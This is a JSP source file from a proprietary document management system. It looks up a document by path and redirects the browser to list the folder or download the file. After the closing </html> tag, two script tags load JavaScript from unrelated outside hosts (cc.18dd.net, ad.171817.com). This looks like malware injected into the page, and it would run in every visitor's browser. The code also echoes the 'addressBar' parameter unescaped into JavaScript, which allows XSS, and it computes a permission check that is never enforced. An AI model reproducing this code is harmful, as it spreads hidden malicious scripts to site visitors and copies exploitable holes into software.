<%
/*
 * @(#)FindLocation.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  FindLocation.jsp

  This page is for finding the location of the dms document with the given address

    @author           Wong Yam Lee
    @company          DCIVision Limited
    @creation date    20/08/2003
    @version          $Revision: 1.14 $
*/
%>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<html>
<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<script language="JavaScript">
<!--
<%
String address = request.getParameter("addressBar");
if (!Utility.isEmpty(address)){
   address = "'" + TextUtility.escapeJSString(address) + "'";
}
try {

  if (request.getParameter("addressBar") != null && (request.getParameter("addressBar").startsWith("http://") || request.getParameter("addressBar").startsWith("https://"))) {
  %>window.open('<%=request.getParameter("addressBar")%>', 'DCIVisonPopup', '');<%
  } else {
    Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
    RootRetrievalManager rootRetrievalManager = new RootRetrievalManager(sessionContainer, conn);
    String [] docNames = TextUtility.splitString(request.getParameter("addressBar"),docRetrievalManager.FILE_SEPARATOR);
    DmsDocument doc = null;
    DmsRoot root = null;

    // find the parent id and the root id for the target dms document
    Integer rootID = null;
    Integer parentID = new Integer(0);
	if(docNames!=null){
      for (int i=0; i<docNames.length; ++i) {
        if ( parentID==null ) {
          break;
        }
        //docNames[i] = docNames[i].toUpperCase();
        if ( i==0 && "PERSONAL".equals(docNames[i].toUpperCase()) ) {
          doc = docRetrievalManager.getDocumentByNameParentIDCreatorID(docNames[i], parentID, sessionContainer.getUserRecordID());
        } else {
          doc = docRetrievalManager.getDocumentByNameParentID(docNames[i], parentID);
        }
        parentID = (doc == null) ? null : doc.getID();
      }
    }
    root = rootRetrievalManager.getRootObject((doc == null) ? null : doc.getRootID());
    rootID = (doc == null) ? null : doc.getRootID();

    if ( parentID==null || rootID==null ) {%>
      alert('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"errors.framework.record_not_found")%>');
  <%} else {


      DocumentValidateManager docValidateManager = new DocumentValidateManager(sessionContainer, conn);
      // check permission
      boolean havePermission = docValidateManager.checkHasPermissionOnObject(GlobalConstant.OBJECT_TYPE_DOCUMENT, parentID, rootID, "R");

      if ( DmsDocument.FOLDER_TYPE.equals(doc.getDocumentType()) ) { %>   // list the dms documents below if it is a folder
         <%if (DmsRoot.PERSONAL_ROOT.equals(root.getRootType())) {%>
         window.opener.location="ListDmsDocument.do?parentID=<%=parentID%>&rootID=<%=rootID%>";
         <%} else if (DmsRoot.PUBLIC_ROOT.equals(root.getRootType())) {%>
         window.opener.location="ListDmsPublicDocument.do?parentID=<%=parentID%>&rootID=<%=rootID%>";
         <%}%>
    <%} else { %>                                     // else download the file
         window.opener.location.href = "<%= request.getContextPath() %>/dms/FileDownloadServlet?targetID=<%=doc.getID()%>&version=TOP&isDownload=Y";
    <%}
    }
  }
} catch (ApplicationException e) {
  %>
  alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), e.getMsgCode(), address)%>");
  <%
}
%>
  window.close();
-->
</script>
</head>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>